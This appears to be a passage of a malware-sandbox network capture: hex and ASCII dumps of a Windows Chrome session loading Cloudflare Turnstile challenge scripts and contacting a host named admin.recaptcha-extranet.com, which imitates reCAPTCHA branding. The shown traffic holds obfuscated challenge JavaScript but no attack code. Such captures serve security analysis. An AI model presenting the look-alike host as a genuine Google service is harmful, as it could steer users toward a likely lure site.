2025-01-09 04:14:09 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2025-01-09 04:14:09 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.17	49727	188.114.97.3	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:09 UTC	601	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/180720004:1736393476:mFG7POtOgDgLe5kGWxPY11WtzEbgsb56QEWrIXCnj-A/8ff1993789555e6a/x4hCD.qJP5qxPdpdOpgfPkMegImKGSvGl.Hl3t88agM-1736396046-1.2.1.1-zQKWPrKW7XXEt8HyHQm82ItiIzFuITEuolp7cLgKefGI_UykmYqemjR69M5jLpvZ HTTP/1.1 Host: admin.recaptcha-extranet.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:09 UTC	930	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 04:14:09 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: qLfe0bVdHoHDP6xB8XbekP4KNzS4zqs31BU=$oOkIJufMcL/BpDMA Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EgxKlXGjnAjdckX2qLO%2BOh2UZm920uYUYMIw6iX4pHSN3xZ3Y2fGiyJrzEDXxSdJbuJUQnaqt%2FAWF76z6B3QNzWVbu0XBSr9JA4lRlzvwsK3YrkfXI65ZUEQvoybEREleU7OBPq6Jc8vucEFdhoo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff1994debd34263-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2465&min_rtt=2457&rtt_var=938&sent=3&recv=6&lost=0&retrans=0&sent_bytes=2862&recv_bytes=1179&delivery_rate=1156893&cwnd=247&unsent_bytes=0&cid=c326936a7300bf32&ts=142&x=0"
2025-01-09 04:14:09 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.17	49728	104.18.95.41	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:09 UTC	728	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ff1994b58e44369&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/awf7c/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:09 UTC	331	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 04:14:09 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 110680 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ff1994f4ece438d-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 04:14:09 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 71 71 51 4c 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.qqQL2={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcep
2025-01-09 04:14:09 UTC	1369	IN	Data Raw: 61 72 65 6e 74 25 32 30 70 61 67 65 2e 22 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 22 59 6f 75 72 25 32 30 66 65 65 64 62 61 63 6b 25 32 30 72 65 70 6f 72 74 25 32 30 68 61 73 25 32 30 62 65 65 6e 25 32 30 73 75 63 63 65 73 73 66 75 6c 6c 79 25 32 30 73 75 62 6d 69 74 74 65 64 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 72 65 66 72 65 73 68 22 3a 22 52 65 66 72 65 73 68 22 2c 22 74 69 6d 65 5f 63 68 65 63 6b 5f 63 61 63 68 65 64 5f 77 61 72 6e 69 6e 67 22 3a 22 59 6f 75 72 25 32 30 64 65 76 69 63 65 25 32 30 63 6c 6f 63 6b 25 32 30 69 73 25 32 30 73 65 74 25 32 30 74 6f 25 32 30 61 25 32 30 77 72 6f 6e 67 25 32 30 74 69 6d 65 25 32 30 6f 72 25 32 30 74 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 Data Ascii: arent%20page.","feedback_report_output_subtitle":"Your%20feedback%20report%20has%20been%20successfully%20submitted","turnstile_refresh":"Refresh","time_check_cached_warning":"Your%20device%20clock%20is%20set%20to%20a%20wrong%20time%20or%20this%20challenge
2025-01-09 04:14:09 UTC	1369	IN	Data Raw: 67 39 2c 67 66 2c 67 67 2c 67 68 2c 67 72 2c 67 43 2c 67 47 2c 67 48 2c 66 39 2c 66 61 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 32 30 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 33 35 38 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 30 39 30 29 29 2f 33 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 37 35 29 29 2f 34 2b 70 61 72 73 65 49 6e 74 28 67 49 28 35 32 31 29 29 2f 35 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 35 33 31 29 29 2f 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 39 32 29 29 2f 37 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 34 33 38 Data Ascii: g9,gf,gg,gh,gr,gC,gG,gH,f9,fa){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1320))/1(parseInt(gI(358))/2)+parseInt(gI(1090))/3+parseInt(gI(175))/4+parseInt(gI(521))/5(parseInt(gI(531))/6)+-parseInt(gI(192))/7*(parseInt(gI(438
2025-01-09 04:14:09 UTC	1369	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 58 49 4e 78 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 58 70 6e 46 52 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 2a 68 7d 2c 27 41 4c 77 48 6d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 58 75 55 72 49 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 67 4b 28 31 30 34 34 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 67 4c 2c 69 2c 6a 29 7b 72 65 74 75 72 6e 20 67 4c 3d 67 4b 2c 69 3d 7b 7d 2c 69 5b 67 4c 28 34 30 31 29 5d 3d 64 5b 67 4c 28 38 36 37 29 5d 2c 6a 3d 69 2c 64 5b 67 4c 28 33 38 30 29 5d 28 Data Ascii: ){return i!=h},'XINxn':function(h,i){return i==h},'XpnFR':function(h,i){return i*h},'ALwHm':function(h,i){return h(i)},'XuUrI':function(h,i){return h(i)}},e=String[gK(1044)],f={'h':function(h,gL,i,j){return gL=gK,i={},i[gL(401)]=d[gL(867)],j=i,d[gL(380)](
2025-01-09 04:14:09 UTC	1369	IN	Data Raw: 4e 28 39 35 34 29 5d 5b 67 4e 28 31 34 33 38 29 5d 5b 67 4e 28 34 39 30 29 5d 28 42 2c 43 29 29 7b 69 66 28 64 5b 67 4e 28 35 37 39 29 5d 28 32 35 36 2c 43 5b 67 4e 28 38 39 36 29 5d 28 30 29 29 29 7b 66 6f 72 28 73 3d 30 3b 73 3c 46 3b 48 3c 3c 3d 31 2c 49 3d 3d 64 5b 67 4e 28 33 33 35 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 67 4e 28 31 31 34 31 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 67 4e 28 38 39 36 29 5d 28 30 29 2c 73 3d 30 3b 38 3e 73 3b 48 3d 48 3c 3c 31 2e 33 36 7c 64 5b 67 4e 28 31 32 35 30 29 5d 28 4d 2c 31 29 2c 49 3d 3d 64 5b 67 4e 28 31 33 30 32 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 67 4e 28 31 31 34 31 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 Data Ascii: N(954)][gN(1438)][gN(490)](B,C)){if(d[gN(579)](256,C[gN(896)](0))){for(s=0;s<F;H<<=1,I==d[gN(335)](j,1)?(I=0,G[gN(1141)](o(H)),H=0):I++,s++);for(M=C[gN(896)](0),s=0;8>s;H=H<<1.36\|d[gN(1250)](M,1),I==d[gN(1302)](j,1)?(I=0,G[gN(1141)](o(H)),H=0):I++,M>>=1,s
2025-01-09 04:14:09 UTC	1369	IN	Data Raw: 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 67 51 28 31 31 32 30 29 5d 28 30 3c 4c 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 4d 3d 65 28 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 67 51 28 39 32 36 29 5d 28 32 2c 31 36 29 2c 46 3d 31 3b 64 5b 67 51 28 31 33 37 31 29 5d 28 46 2c 4b 29 3b 4c 3d 48 26 47 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 64 5b 67 51 28 31 34 36 36 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 28 30 3c 4c 3f 31 3a 30 29 2a 46 2c 46 3c 3c 3d 31 29 3b 4d 3d 65 28 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 27 27 7d 66 6f 72 28 45 3d 73 5b 33 5d 3d 4d 2c 44 5b 67 51 28 31 31 34 31 29 5d 28 4d 29 3b 3b 29 7b 69 66 28 49 3e 69 29 72 65 Data Ascii: (H=j,G=o(I++)),J\|=d[gQ(1120)](0<L?1:0,F),F<<=1);M=e(J);break;case 1:for(J=0,K=Math[gQ(926)](2,16),F=1;d[gQ(1371)](F,K);L=H&G,H>>=1,0==H&&(H=j,G=d[gQ(1466)](o,I++)),J\|=(0<L?1:0)*F,F<<=1);M=e(J);break;case 2:return''}for(E=s[3]=M,D[gQ(1141)](M);;){if(I>i)re
2025-01-09 04:14:09 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 27 41 79 44 74 69 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 21 3d 3d 48 7d 2c 27 57 6e 44 54 47 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 48 3d 3d 3d 47 7d 2c 27 62 49 52 78 77 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 3c 48 7d 2c 27 51 45 41 62 46 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 2c 49 2c 4a 29 7b 72 65 74 75 72 6e 20 47 28 48 2c 49 2c 4a 29 7d 2c 27 75 6c 43 44 75 27 3a 68 6d 28 39 35 33 29 2c 27 6e 41 45 57 67 27 3a 68 6d 28 34 34 39 29 2c 27 45 50 56 43 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 7d 2c 6e 75 6c 6c 3d 3d 3d 68 7c 7c 6f 5b 68 Data Ascii: function(G,H){return G+H},'AyDti':function(G,H){return G!==H},'WnDTG':function(G,H){return H===G},'bIRxw':function(G,H){return G<H},'QEAbF':function(G,H,I,J){return G(H,I,J)},'ulCDu':hm(953),'nAEWg':hm(449),'EPVCK':function(G,H){return G+H}},null===h\|\|o[h
2025-01-09 04:14:09 UTC	1369	IN	Data Raw: 6c 5b 6d 5d 5d 5b 6f 5d 29 26 26 28 66 35 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 7c 7c 68 5b 6e 5d 5b 68 70 28 31 31 34 31 29 5d 28 27 6f 2e 27 2b 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 29 2c 6f 2b 2b 29 3b 7d 65 6c 73 65 20 68 5b 6e 5d 3d 69 5b 6c 5b 6d 5d 5d 5b 68 70 28 31 33 35 31 29 5d 28 66 75 6e 63 74 69 6f 6e 28 73 2c 68 71 29 7b 72 65 74 75 72 6e 20 68 71 3d 68 70 2c 6b 5b 68 71 28 37 30 36 29 5d 28 27 6f 2e 27 2c 73 29 7d 29 7d 65 6c 73 65 20 76 3d 7b 7d 2c 76 5b 68 70 28 33 38 32 29 5d 3d 6b 5b 68 70 28 33 30 33 29 5d 2c 76 5b 68 70 28 34 34 38 29 5d 3d 6e 5b 68 70 28 34 35 32 29 5d 5b 68 70 28 36 37 35 29 5d 2c 76 5b 68 70 28 31 30 31 36 29 5d 3d 68 70 28 34 37 39 29 2c 6f 5b 68 70 28 33 34 39 29 5d 5b 68 70 28 31 31 35 29 5d 28 76 2c 27 2a 27 29 7d 2c Data Ascii: l[m]][o])&&(f5(i[l[m]][o])\|\|h[n][hp(1141)]('o.'+i[l[m]][o])),o++);}else h[n]=i[l[m]][hp(1351)](function(s,hq){return hq=hp,k[hq(706)]('o.',s)})}else v={},v[hp(382)]=k[hp(303)],v[hp(448)]=n[hp(452)][hp(675)],v[hp(1016)]=hp(479),o[hp(349)][hp(115)](v,'*')},
2025-01-09 04:14:09 UTC	1369	IN	Data Raw: 7c 27 29 2c 6b 3d 30 3b 21 21 5b 5d 3b 29 7b 73 77 69 74 63 68 28 6a 5b 6b 2b 2b 5d 29 7b 63 61 73 65 27 30 27 3a 6c 3d 6e 65 77 20 65 4d 5b 28 69 38 28 39 36 37 29 29 5d 28 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 27 3a 6c 5b 69 38 28 39 31 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 32 27 3a 6d 3d 69 5b 69 38 28 37 36 30 29 5d 28 66 43 2c 66 5b 69 38 28 31 34 32 32 29 5d 2c 66 5b 69 38 28 31 33 39 32 29 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 33 27 3a 6c 5b 69 38 28 31 34 35 31 29 5d 28 69 38 28 34 33 36 29 2c 69 38 28 38 36 30 29 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 3a 6f 3d 28 6e 3d 7b 7d 2c 6e 5b 69 38 28 31 30 37 38 29 5d 3d 65 4d 5b 69 38 28 34 35 32 29 5d 5b 69 Data Ascii: \|'),k=0;!![];){switch(j[k++]){case'0':l=new eM[(i8(967))]();continue;case'1':l[i8(910)]=function(){};continue;case'2':m=i[i8(760)](fC,f[i8(1422)],f[i8(1392)]);continue;case'3':l[i8(1451)](i8(436),i8(860));continue;case'4':o=(n={},n[i8(1078)]=eM[i8(452)][i
2025-01-09 04:14:09 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6f 26 6e 7d 2c 27 4a 66 4e 4d 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 2d 6f 7d 2c 27 44 53 67 55 45 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6f 3d 3d 3d 6e 7d 2c 27 6a 51 59 4b 68 27 3a 69 39 28 31 33 34 36 29 2c 27 4e 7a 43 43 79 27 3a 69 39 28 39 33 31 29 2c 27 49 62 51 47 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 3e 6f 7d 2c 27 6c 4e 4c 76 47 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 2c 73 29 7b 72 65 74 75 72 6e 20 6e 28 6f 2c 73 29 7d 7d 2c 64 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 29 7b 69 66 28 65 5b 69 39 28 38 38 39 29 5d 28 65 5b 69 39 28 31 33 39 34 29 5d 2c 69 39 28 31 32 33 Data Ascii: function(n,o){return o&n},'JfNMN':function(n,o){return n-o},'DSgUE':function(n,o){return o===n},'jQYKh':i9(1346),'NzCCy':i9(931),'IbQGO':function(n,o){return n>o},'lNLvG':function(n,o,s){return n(o,s)}},d instanceof Error){if(e[i9(889)](e[i9(1394)],i9(123

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.17	49729	104.18.95.41	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:09 UTC	740	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/awf7c/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:09 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 04:14:09 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8ff1994fcc3f0f9c-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 04:14:09 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.17	49731	104.18.95.41	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:10 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:10 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 04:14:10 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8ff199539ecb4308-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 04:14:10 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.17	49732	104.18.95.41	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:10 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ff1994b58e44369&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:10 UTC	331	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 04:14:10 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 114673 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ff199547c8c0f5d-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 04:14:10 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 71 71 51 4c 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.qqQL2={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcep
2025-01-09 04:14:10 UTC	1369	IN	Data Raw: 66 79 25 32 30 79 6f 75 25 32 30 61 72 65 25 32 30 68 75 6d 61 6e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 70 72 69 76 61 63 79 22 3a 22 50 72 69 76 61 63 79 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 65 78 70 69 72 65 64 22 3a 22 45 78 70 69 72 65 64 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 74 69 6d 65 6f 75 74 22 3a 22 54 69 6d 65 64 25 32 30 6f 75 74 22 2c 22 6e 6f 74 5f 65 6d 62 65 64 64 65 64 22 3a 22 54 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 6d 75 73 74 25 32 30 62 65 25 32 30 65 6d 62 65 64 64 65 64 25 32 30 69 6e 74 6f 25 32 30 61 25 32 30 70 61 72 65 6e 74 25 32 30 70 61 67 65 2e 22 2c 22 6f 75 74 64 61 74 65 64 5f 62 72 6f 77 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 Data Ascii: 